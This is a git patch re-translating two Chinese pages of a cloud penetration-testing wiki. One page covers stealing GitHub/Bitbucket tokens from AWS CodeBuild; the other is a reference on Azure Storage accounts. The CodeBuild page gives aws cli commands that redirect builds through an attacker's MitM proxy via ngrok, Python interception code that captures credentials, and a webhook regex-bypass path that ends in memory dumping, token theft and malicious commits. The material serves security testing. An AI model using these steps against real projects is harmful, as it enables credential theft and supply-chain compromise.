From df896e46e2eb39d265dd6e5b5c7f6a59e908137a Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 18 Jan 2026 22:38:38 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-stor --- .../aws-codebuild-token-leakage.md | 78 ++++---- .../azure-security/az-services/az-storage.md | 174 +++++++++--------- 2 files changed, 126 insertions(+), 126 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index f388b0663..d11414b53 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,47 @@ {{#include ../../../../banners/hacktricks-training.md}} -## 恢复已配置的 Github/Bitbucket Tokens +## 恢复 Github/Bitbucket 已配置的 Tokens -首先,检查是否存在任何已配置的源凭证,你可以 leak: +首先,检查是否存在任何已配置的源凭证,你可能会 leak: ```bash aws codebuild list-source-credentials ``` -### Via Docker Image +### 通过 Docker Image -如果你发现该账号中对例如 Github 的认证已设置,你可以通过让 Codebuild **use an specific docker image** 来运行项目构建,从而 **exfiltrate** 那个 **access**(**GH token or OAuth token**)。 +如果你发现例如在账户中设置了对 Github 的认证,你可以通过让 Codebuild 使用一个特定的 docker image 来运行项目构建,从而 **exfiltrate** 那个 **access**(**GH token or OAuth token**)。 -为此你可以 **create a new Codebuild project** 或更改现有项目的 **环境** 来设置 **Docker image**。 +为此你可以 **create a new Codebuild project** 或更改现有项目的 **environment** 来设置 **Docker image**。 -你可以使用的 Docker image 是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker image,会设置 **env variables `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许你拦截由 **`https_proxy`** 和 **`http_proxy`** 指定主机的大部分流量,并信任 **`SSL_CERT_FILE`** 指定的 SSL 证书。 +你可以使用的 Docker image 是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker image,会设置 **env variables `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许你拦截位于 **`https_proxy`** 和 **`http_proxy`** 指定主机的大部分流量,并信任 **`SSL_CERT_FILE`** 指定的 SSL 证书。 1. **Create & Upload your own Docker MitM image** -- 按照该 repo 的说明设置你的代理 IP 地址并设置你的 SSL 证书,然后 **build the docker image**。 +- 按照该 repo 的说明设置你的代理 IP 地址并配置 SSL 证书,然后 **build the docker image**。 - **DO NOT SET `http_proxy`**,以免拦截到 metadata endpoint 的请求。 -- 你可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 将代理指向你的主机 -- 一旦构建好 Docker image,**upload it to a public repo**(Dockerhub、ECR...) +- 你可以使用 **`ngrok`**,例如 `ngrok tcp 4444`,将代理指向你的主机。 +- 一旦构建好 Docker image,**upload it to a public repo**(Dockerhub, ECR...) 2. **Set the environment** -- 创建一个 **new Codebuild project** 或 **modify** 现有项目的环境。 +- 创建一个 **new Codebuild project** 或 **modify** 现有项目的 environment。 - 将项目设置为使用 **previously generated Docker image**
3. **Set the MitM proxy in your host** -- 如 **Github repo** 所示,你可以使用类似: +- 如 **Github repo** 中所示,你可以使用类似如下的方式: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> 使用的 **mitmproxy 版本是 9.0.1**,有报道称在版本 10 上这可能无法工作。 +> 使用的 **mitmproxy 版本是 9.0.1**,有报告称在版本 10 上这可能无法工作。 4. **运行构建并捕获凭证** -- 你可以在 **Authorization** 标头中看到 token: +- 你可以在 **Authorization** header 中看到 token:
-这也可以通过 aws cli 完成,例如: +这也可以通过 aws cli 来完成,例如: ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2 ``` ### 通过 insecureSSL -**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,这个设置在 web 界面中是隐藏的,只能通过 API 修改.\ -启用后,允许 Codebuild 在连接到仓库时**不校验平台提供的证书**。 +**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,该设置在 web 中是隐藏的,只能通过 **API** 更改。\ +启用后,允许 **Codebuild** 在不验证平台提供的证书的情况下连接到该 **repository**。 -- 首先需要用类似下面的命令枚举当前配置: +- 首先你需要 enumerate 当前配置,类似如下: ```bash aws codebuild batch-get-projects --name ``` -- 然后,使用收集到的信息,你可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下面是我更新项目的示例,注意末尾的 **`insecureSsl=True`**(这是你需要从收集到的配置中更改的唯一一项)。 -- 此外,还要添加环境变量 **http_proxy** 和 **https_proxy** 指向你的 tcp ngrok,例如: +- 然后,使用收集到的信息你可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下面是我更新项目的示例,注意末尾的 **`insecureSsl=True`**(这是从收集到的配置中你需要更改的唯一项)。 +- 此外,还要添加环境变量 **http_proxy** 和 **https_proxy**,指向你的 tcp ngrok,如下所示: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- 然后,在代理变量(http_proxy 和 https_proxy)所指向的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例 +- 然后,在由代理变量 (http_proxy 和 https_proxy) 指定的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例 ```python from mitm import MITM, protocol, middleware, crypto @@ -128,23 +128,23 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- 最后,点击 **构建项目 (Build the project)**,这些 **credentials** 将以 **明文**(base64)发送到 mitm 端口: +- 最后,点击 **Build the project**,**credentials** 将以明文(base64)发送到 mitm 端口:
-### ~~通过 HTTP 协议~~ +### ~~Via HTTP protocol~~ -> [!TIP] > **这个漏洞在 2023 年 2 月 20 日那一周被 AWS 修复(我想是周五)。因此攻击者无法再滥用它 :)** +> [!TIP] > **此漏洞在 2023 年 2 月 20 日那周的某个时间被 AWS 修复(我记得是周五)。因此攻击者现在无法再利用它 :)** -具有对 CodeBuild 提权的攻击者可能会 leak 已配置的 Github/Bitbucket token,或者如果权限通过 OAuth 配置,则会 leak 用于访问代码的临时 OAuth token。 +具有对 CodeBuild 提升权限的攻击者可能会 leak 已配置的 Github/Bitbucket token;或者如果权限是通过 OAuth 配置的,可能会 leak 用于访问代码的临时 OAuth token。 -- 攻击者可以在 CodeBuild 项目中添加环境变量 **http_proxy** 和 **https_proxy** 指向其机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。 +- 攻击者可以在 CodeBuild 项目中添加环境变量 **http_proxy** 和 **https_proxy**,指向其机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。
-- 然后,将 github 仓库的 URL 改为使用 HTTP 而不是 HTTPS,例如:`http://github.com/carlospolop-forks/TestActions` +- 然后,将 github 仓库的 URL 从 HTTPS 改为 HTTP,例如:`http://github.com/carlospolop-forks/TestActions` - 然后,在由代理变量(http_proxy 和 https_proxy)指向的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例。 ```python from mitm import MITM, protocol, middleware, crypto @@ -158,30 +158,30 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- 接下来,点击 **构建项目** 或从命令行启动构建: +- 接下来,点击 **Build the project** 或从命令行启动构建: ```sh aws codebuild start-build --project-name ``` -- 最后,**credentials** 将以**明文**(base64)发送到 mitm 端口: +- 最终,**credentials** 将以**明文**(base64)发送到 mitm 端口:
> [!WARNING] -> 现在攻击者可以在其机器上使用该 token,列出其拥有的所有权限,并比直接使用 CodeBuild 服务更容易地滥用它。 +> 现在攻击者将能够在其机器上使用 token,列出它拥有的所有权限,并且比直接使用 CodeBuild 服务更容易对其进行(滥)用。 -## Webhook filter ACTOR_ID regex allowlist 绕过(PR 触发的特权构建) +## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) -配置错误的 CodeBuild GitHub webhook 使用未加锚点的 `ACTOR_ID` regex 时,会允许 *untrusted* PR 启动特权构建。如果 allowlist 写成 `123456|7890123` 而没有 `^`/`$`,任何包含这些子串之一的 ID 都会匹配。由于 GitHub 用户 ID 是顺序分配的,攻击者可以争先注册一个 “eclipsing” ID(包含受信任 ID 的超串),从而触发构建。 +使用未加锚定 `ACTOR_ID` regex 的错误配置 CodeBuild GitHub webhooks 会允许 *untrusted* PR 启动特权构建。如果 allowlist 像 `123456|7890123` 且没有 `^`/`$`,任何包含这些子串之一的 ID 都会匹配。由于 GitHub 用户 ID 是顺序分配的,攻击者可以竞争注册一个 “eclipsing” ID(受信 ID 的超串),并触发构建。 -**Exploit path** +**利用路径** -1. 查找公开的 CodeBuild 项目,暴露 webhook filters 并提取未加锚点的 `ACTOR_ID` allowlist。 -2. 获得一个 eclipsing GitHub ID: -- 通过创建/删除 GitHub orgs 来抽样全局 ID 计数器(org IDs 共享该池)。 -- 预先准备大量 GitHub App manifest 的创建请求,当计数器接近目标约 100 个 ID 时,触发确认 URL 以突发性注册一个包含受信任子串的 bot ID。 -3. 用 eclipsing 账户发起 PR;regex 会匹配该子串,从而运行特权构建。 -4. 利用构建 RCE(例如依赖安装钩子)转储处理 GitHub credential 的进程内存并恢复 PAT/OAuth token。 -5. 使用该 token 的 `repo` scope,将你的账户邀请为 collaborator/admin,推送/批准恶意提交或外泄 secrets。 +1. 找到公开的 CodeBuild 项目,这些项目暴露了 webhook 过滤器并提取未加锚定的 `ACTOR_ID` allowlist。 +2. 获取一个 eclipsing GitHub ID: +- 通过创建/删除 GitHub 组织来采样全局 ID 计数器(org IDs 与用户 ID 共享池)。 +- 预先排队大量 GitHub App manifest 的创建,并在计数器接近目标约 ~100 个 ID 时触发确认 URL,以突发注册一个包含受信子串的 bot ID。 +3. 使用该 eclipsing 账户打开 PR;regex 会匹配该子串,从而触发特权构建运行。 +4. 利用构建时的 RCE(例如,依赖安装的 hooks)转储处理 GitHub credential 的进程内存并恢复 PAT/OAuth token。 +5. 使用该 token 的 `repo` scope,将你的账号邀请为 collaborator/admin,然后推送/批准恶意提交或外发 secrets。 ## References - [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) diff --git a/src/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md index 60ed9ac34..01f3ac2c0 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md @@ -4,72 +4,72 @@ ## 基本信息 -Azure Storage Accounts 是 Microsoft Azure 中的基础服务,提供可扩展、安全且高度可用的云 **用于多种数据类型的存储**,包括 blobs (binary large objects)、files、queues 和 tables。它们作为容器,将这些不同的存储服务在单一命名空间下分组以便于管理。 +Azure Storage Accounts 是 Microsoft Azure 中的基础服务,提供可扩展、安全且高可用的云 **用于各种数据类型的存储**,包括 blobs (binary large objects)、files、queues 和 tables。它们作为容器,将这些不同的存储服务组合在单一命名空间下以便于管理。 **主要配置选项**: -- 每个 storage account 必须有一个 **在整个 Azure 中唯一的名称**。 -- 每个 storage account 部署在一个 **region** 或在 Azure extended zone。 +- 每个 storage account 必须在 **整个 Azure 中具有唯一名称**。 +- 每个 storage account 部署在一个 **region** 或 Azure extended zone 中。 - 可以选择 storage account 的 **premium** 版本以获得更好的性能。 -- 可以在 **4 种冗余类型之间选择以防护** 机架、驱动器和数据中心 **故障**。 +- 可以在 **4 种冗余类型** 中选择,以防护机架、磁盘和数据中心级别的 **故障**。 **安全配置选项**: -- **Require secure transfer for REST API operations**:要求与 storage 的任何通信使用 TLS -- **Allows enabling anonymous access on individual containers**:如果不允许,将来无法为单独容器启用匿名访问 -- **Enable storage account key access**:如果未启用,将禁止使用 Shared Keys 访问 +- **Require secure transfer for REST API operations**:要求所有与 storage 的通信使用 TLS。 +- **Allows enabling anonymous access on individual containers**:如果未启用,将来无法为容器启用匿名访问。 +- **Enable storage account key access**:如果未启用,则 Shared Keys 访问将被禁止。 - **Minimum TLS version** -- **Permitted scope for copy operations**:允许来自任何 storage account、来自同一 Entra tenant 的任何 storage account,或来自在同一虚拟网络中具有 private endpoints 的 storage account。 +- **Permitted scope for copy operations**:允许来自任意 storage account、来自相同 Entra tenant 的任意 storage account,或来自同一虚拟网络内具有 private endpoints 的 storage account。 -**Blob Storage 选项**: +**Blob Storage options**: - **Allow cross-tenant replication** - **Access tier**:Hot(频繁访问的数据)、Cool 和 Cold(很少访问的数据) -**网络选项**: +**Networking options**: - **Network access**: - - 允许来自所有网络 - - 允许来自选定的虚拟网络和 IP 地址 - - 禁用公共访问并使用私有访问 +- Allow from all networks +- Allow from selected virtual networks and IP addresses +- Disable public access and use private access - **Private endpoints**:允许从虚拟网络到 storage account 的私有连接 -**数据保护选项**: +**Data protection options**: -- **Point-in-time restore for containers**:允许将容器还原到较早的状态 +- **Point-in-time restore for containers**:允许将容器恢复到较早的状态 - 它需要启用 versioning、change feed 和 blob soft delete。 -- **Enable soft delete for blobs**:为已删除的 blobs(即使被覆盖)启用以天为单位的保留期 +- **Enable soft delete for blobs**:为已删除的 blob(即使被覆盖)启用以天为单位的保留期 - **Enable soft delete for containers**:为已删除的容器启用以天为单位的保留期 -- **Enable soft delete for file shares**:为已删除的 file shares 启用以天为单位的保留期 -- **Enable versioning for blobs**:保留 blob 的历史版本 -- **Enable blob change feed**:记录对 blobs 的创建、修改和删除变化日志 -- **Enable version-level immutability support**:允许在账户级别设置基于时间的保留策略,该策略将应用于所有 blob 版本。 -- Version-level immutability support 和 point-in-time restore for containers 不能同时启用。 +- **Enable soft delete for file shares**:为已删除的 file share 启用以天为单位的保留期 +- **Enable versioning for blobs**:保存 blob 的历史版本 +- **Enable blob change feed**:记录 blob 的创建、修改和删除变更日志 +- **Enable version-level immutability support**:允许在 account 级别设置基于时间的保留策略,该策略将应用于所有 blob 版本。 +- Version-level immutability support 和 point-in-time restore for containers 无法同时启用。 -**加密配置选项**: +**Encryption configuration options**: - **Encryption type**:可以使用 Microsoft-managed keys (MMK) 或 Customer-managed keys (CMK) -- **Enable infrastructure encryption**:允许对数据进行双重加密,以“增强安全性” +- **Enable infrastructure encryption**:允许对数据进行双重加密以“提高安全性” -### 存储端点 +### Storage endpoints -
存储服务Endpoint
Blob storagehttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Queue storagehttps://.queue.core.windows.net
Table storagehttps://.table.core.windows.net
+
Storage ServiceEndpoint
Blob storagehttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Queue storagehttps://.queue.core.windows.net
Table storagehttps://.table.core.windows.net
-### 公共暴露 +### 公开暴露 如果 "Allow Blob public access" 被 **启用**(默认禁用),在创建容器时可以: -- 允许 **public access to read blobs**(需要知道容器名称)。 -- 列出容器中的 blobs 并读取它们。 -- 将其设置为完全 **私有** +- 赋予 **public access to read blobs**(你需要知道名称)。 +- **List container blobs** 并 **读取** 它们。 +- 将容器设置为完全 **private**
-### Static website (`$web`) 暴露 & leaked secrets +### Static website (`$web`) exposure & leaked secrets -- **Static websites** 从特殊的 `$web` 容器通过区域特定的端点提供,例如 `https://.z13.web.core.windows.net/`。 -- 通过 blob API `$web` 容器可能会报告 `publicAccess: null`,但文件仍可通过静态站点端点访问,因此将配置/IaC 工件放在那里可能会 leak secrets。 -- 快速审计工作流程: +- **Static websites** 通过专用的 `$web` 容器从区域特定的端点提供,例如 `https://.z13.web.core.windows.net/`。 +- `$web` 容器可能通过 blob API 报告 `publicAccess: null`,但文件仍可通过静态站点端点访问,因此将 config/IaC 工件放在那里可能会导致 secrets 被 leaked。 +- 快速审计工作流: ```bash # Identify storage accounts with static website hosting enabled az storage blob service-properties show --account-name --auth-mode login @@ -82,19 +82,19 @@ az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdou ``` ### 审计匿名 blob 暴露 -- **定位可能暴露数据的 storage accounts**: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. 如果 `allowBlobPublicAccess` 是 `false`,你无法将 containers 设为 public. -- **检查存在风险的 storage accounts** 以确认 `allowBlobPublicAccess` 标志和其他弱配置: `az storage account show --name --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`. -- **枚举启用该标志的 containers 的暴露情况** where the flag is enabled: +- **定位 storage accounts** 可暴露数据: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`。如果 `allowBlobPublicAccess` 为 `false`,你无法将 containers 设为公开。 +- **检查有风险的 storage accounts** 以确认该标志和其他弱配置: `az storage account show --name --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`。 +- **枚举 container 级别的暴露**(在该标志启用的情况下): ```bash az storage container list --account-name \ --query '[].{name:name, access:properties.publicAccess}' ``` -- `"Blob"`: 匿名读取仅在已知 blob 名称时允许(不允许列出)。 -- `"Container"`: 匿名对每个 blob 的**列出 + 读取**。 -- `null`: 私有;需要认证。 -- **证明访问** 无需凭据: -- 如果 `publicAccess` 是 `Container`,匿名列出可行: `curl "https://.blob.core.windows.net/?restype=container&comp=list"`. -- 对于 `Blob` 和 `Container`,当名称已知时,匿名 blob 下载可行: +- `"Blob"`: 匿名读取被允许 **仅当已知 blob 名称时** (不可列出). +- `"Container"`: 匿名 **列出 + 读取** 每个 blob. +- `null`: 私有;需要认证. +- **在无凭证情况下证明访问**: +- 如果 `publicAccess` 是 `Container`,匿名列出有效: `curl "https://.blob.core.windows.net/?restype=container&comp=list"`. +- 对于 `Blob` 和 `Container`,当名称已知时,匿名下载 blob 有效: ```bash az storage blob download -c -n --account-name --file /dev/stdout # or via raw HTTP @@ -102,31 +102,31 @@ curl "https://.blob.core.windows.net//" ``` ### 连接到存储 -如果发现可以连接的 **存储**,可以使用工具 [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) 来连接。 +如果发现任何可以连接的 **存储**,可以使用工具 [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) 来进行连接。 ## 访问存储 ### RBAC -可以使用 Entra ID 主体与 **RBAC roles** 来访问存储账户,这是推荐的方式。 +可以使用 Entra ID principals 与 **RBAC roles** 来访问 storage accounts,这是推荐的方式。 -### 访问密钥 +### Access Keys -存储账户有可用于访问的访问密钥。这会提供对存储账户的**完全访问权限**。 +storage accounts 有可以用来访问它的 access keys。 这会提供对存储账户的 f**ull access to the storage account.**
### **Shared Keys & Lite Shared Keys** -可以使用访问密钥[**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) 签名,从而通过签名 URL 授权对特定资源的访问。 +可以通过使用 access keys 签名来[**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key),以通过签名 URL 授权对某些资源的访问。 > [!NOTE] -> 注意 `CanonicalizedResource` 部分表示存储服务的资源 (URI)。如果 URL 的任何部分被编码,那么在 `CanonicalizedResource` 内也应进行相应编码。 +> 注意 `CanonicalizedResource` 部分表示存储服务资源 (URI)。如果 URL 中的任何部分被编码,则在 `CanonicalizedResource` 内也应进行编码。 > [!NOTE] -> 这是 **默认被 `az` cli 使用** 来对请求进行认证。若要让其使用 Entra ID 主体凭据,请指定参数 `--auth-mode login`。 +> 这 **在默认情况下由 `az` cli 使用** 来验证请求。要使其使用 Entra ID principal 的凭证,请指定参数 `--auth-mode login`。 -- 可以通过对以下信息进行签名来生成 **shared key for blob, queue and file services**: +- 可以通过签名以下信息来生成用于 blob, queue 和 file services 的 **shared key**: ```bash StringToSign = VERB + "\n" + Content-Encoding + "\n" + @@ -143,7 +143,7 @@ Range + "\n" + CanonicalizedHeaders + CanonicalizedResource; ``` -- 可以通过对以下信息进行签名来生成 **shared key for table services**: +- 可以通过签署以下信息来生成一个 **shared key for table services**: ```bash StringToSign = VERB + "\n" + Content-MD5 + "\n" + @@ -151,7 +151,7 @@ Content-Type + "\n" + Date + "\n" + CanonicalizedResource; ``` -- 可以通过签署以下信息生成 **lite shared key for blob, queue and file services**: +- 可以通过对以下信息进行签名来生成 **lite shared key for blob, queue and file services**: ```bash StringToSign = VERB + "\n" + Content-MD5 + "\n" + @@ -165,7 +165,7 @@ CanonicalizedResource; StringToSign = Date + "\n" CanonicalizedResource ``` -然后,要使用该密钥,可以在 Authorization header 中按以下语法进行: +然后,要使用该密钥,可以在 Authorization 头中按以下语法进行: ```bash Authorization="[SharedKey|SharedKeyLite] :" #e.g. @@ -179,76 +179,76 @@ Content-Length: 0 ``` ### **共享访问签名** (SAS) -Shared Access Signatures (SAS) 是安全的、时限性的 URL,允许在不暴露 Azure Storage 账户访问密钥的情况下向资源授予特定访问权限。访问密钥提供对所有资源的完整管理访问,而 SAS 通过指定权限(如读或写)并定义到期时间,允许更精细的控制。 +Shared Access Signatures (SAS) 是安全的、限时的 URL,允许在不暴露账户访问密钥的情况下,授予对 Azure Storage 帐户中资源的特定访问权限。虽然访问密钥提供对所有资源的完整管理员访问权限,SAS 通过指定权限(例如读取或写入)并定义过期时间,实现了更细粒度的控制。 #### SAS 类型 -- **用户委派 SAS**: 由 **Entra ID 主体** 创建,主体会对 SAS 签名并将用户的权限委派给该 SAS。它只能用于 **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas))。可以 **撤销** 所有已生成的用户委派 SAS。 -- 即使可以生成权限“多于”用户实际拥有权限的委派 SAS,但如果该主体并不具备那些权限,SAS 将无法生效(no privesc)。 -- **服务 SAS**: 使用存储账户的某个 **访问密钥** 进行签名。可用于授予单个存储服务中特定资源的访问权限。如果该密钥被更新,SAS 将停止工作。 -- **账户 SAS**: 同样由存储账户的某个 **访问密钥** 签名。它授予跨存储账户服务(Blob、Queue、Table、File)的资源访问权限,并可包含服务级别操作。 +- **User delegation SAS**:由一个 **Entra ID principal** 创建,该主体将为 SAS 签名并将用户的权限委派给 SAS。它只能与 **blob and data lake storage** 一起使用([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas))。可以 **撤销** 所有已生成的用户委派 SAS。 +- 即便可以生成比用户本身拥有的更多权限的 delegation SAS,如果该 principal 本身没有那些权限,SAS 也无法生效(不会发生 privesc)。 +- **Service SAS**:使用存储账户的某个 **access keys** 进行签名。可用于授予对单个存储服务中特定资源的访问。如果密钥被更新,SAS 将停止工作。 +- **Account SAS**:同样使用存储账户的某个 **access keys** 签名。它授予跨存储账户服务(Blob、Queue、Table、File)的资源访问权限,并可包含服务级操作。 -由 **访问密钥** 签名的 SAS URL 如下所示: +由 **access key** 签名的 SAS URL 看起来像这样: - `https://.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D` -以 **用户委派** 签名的 SAS URL 如下: +以 **user delegation** 签名的 SAS URL 看起来像这样: - `https://.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D` -注意一些 **HTTP 参数**: +注意一些 **http params**: -- **`se`** 参数表示 SAS 的 **到期日期** -- **`sp`** 参数表示 SAS 的 **权限** -- **`sig`** 是用于验证 SAS 的 **签名** +- 参数 **`se`** 指示 SAS 的 **过期日期** +- 参数 **`sp`** 指示 SAS 的 **权限** +- **`sig`** 是验证 SAS 的 **签名** #### SAS 权限 -生成 SAS 时需要指明它应授予的权限。根据所针对的对象不同,可能包含不同的权限。例如: +生成 SAS 时需要指明应授予的权限。根据 SAS 所针对的对象不同,可能包含不同的权限。例如: - (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete -## SFTP 对 Azure Blob Storage 的支持 +## SFTP Support for Azure Blob Storage -Azure Blob Storage 现在支持 SSH 文件传输协议 (SFTP),使得可以直接对 Blob Storage 进行安全的文件传输和管理,而无需自定义解决方案或第三方产品。 +Azure Blob Storage 现在支持 SSH File Transfer Protocol (SFTP),允许直接向 Blob Storage 进行安全的文件传输和管理,而无需自定义解决方案或第三方产品。 ### 主要特性 -- 协议支持:SFTP 可用于启用了 分层命名空间 (HNS) 的 Blob Storage 账户。这样可以将 blobs 组织为目录和子目录,便于导航。 -- 安全:SFTP 使用本地用户身份进行认证,不与 RBAC 或 ABAC 集成。每个本地用户可以通过以下方式进行认证: - - Azure 生成的密码 - - 公/私 SSH 密钥对 -- 细粒度权限:可以为本地用户在最多 100 个容器上分配如读取、写入、删除和列出等权限。 -- 网络考虑:SFTP 通过端口 22 建立连接。Azure 支持防火墙、private endpoints 或虚拟网络等网络配置,以保护 SFTP 流量。 +- Protocol Support:SFTP 适用于配置了 hierarchical namespace (HNS) 的 Blob Storage 帐户。这会将 blobs 组织为目录和子目录,便于导航。 +- Security:SFTP 使用本地用户标识进行身份验证,不与 RBAC 或 ABAC 集成。每个本地用户可以通过以下方式进行身份验证: + - Azure-generated passwords + - Public-private SSH key pairs +- Granular Permissions:可以为本地用户在最多 100 个容器上分配诸如 Read、Write、Delete 和 List 的权限。 +- Networking Considerations:SFTP 通过端口 22 建立连接。Azure 支持防火墙、private endpoints 或虚拟网络等网络配置,以保护 SFTP 流量。 -### 设置要求 +### 配置要求 -- 分层命名空间:在创建存储账户时必须启用 HNS。 -- 支持的加密:需要 Microsoft Security Development Lifecycle (SDL) 批准的加密算法(例如 rsa-sha2-256、ecdsa-sha2-nistp256)。 -- SFTP 配置: - - 在存储账户上启用 SFTP。 - - 创建具有适当权限的本地用户身份。 - - 为用户配置主目录,以定义他们在容器内的起始位置。 +- Hierarchical Namespace:在创建存储帐户时必须启用 HNS。 +- Supported Encryption:要求使用 Microsoft Security Development Lifecycle (SDL) 批准的加密算法(例如 rsa-sha2-256、ecdsa-sha2-nistp256)。 +- SFTP Configuration: + - 在存储帐户上启用 SFTP。 + - 创建具有适当权限的本地用户标识。 + - 为用户配置 home directories,以定义其在容器内的起始位置。 ### 权限 -| 权限 | 符号 | 说明 | +| Permission | Symbol | Description | | ---------------------- | ------ | ------------------------------------ | | **读取** | `r` | 读取文件内容。 | | **写入** | `w` | 上传文件并创建目录。 | | **列出** | `l` | 列出目录内容。 | | **删除** | `d` | 删除文件或目录。 | | **创建** | `c` | 创建文件或目录。 | -| **修改所有权** | `o` | 更改所属用户或组。 | -| **修改权限** | `p` | 更改文件或目录的 ACL。 | +| **修改所有者** | `o` | 更改拥有用户或组。 | +| **修改权限** | `p` | 更改文件或目录的 ACLs。 | -## 枚举 +## Enumeration {{#tabs }} {{#tab name="az cli" }}
-az cli 枚举 +az cli enumeration ```bash # Get storage accounts az storage account list #Get the account name from here @@ -372,7 +372,7 @@ az storage account local-user list \ {{#tab name="Az PowerShell" }}
-Az PowerShell 枚举 +Az PowerShell enumeration ```powershell # Get storage accounts Get-AzStorageAccount | fl @@ -447,7 +447,7 @@ az-file-shares.md ../az-privilege-escalation/az-storage-privesc.md {{#endref}} -## 利用后活动 +## 利用后操作 {{#ref}} ../az-post-exploitation/az-blob-storage-post-exploitation.md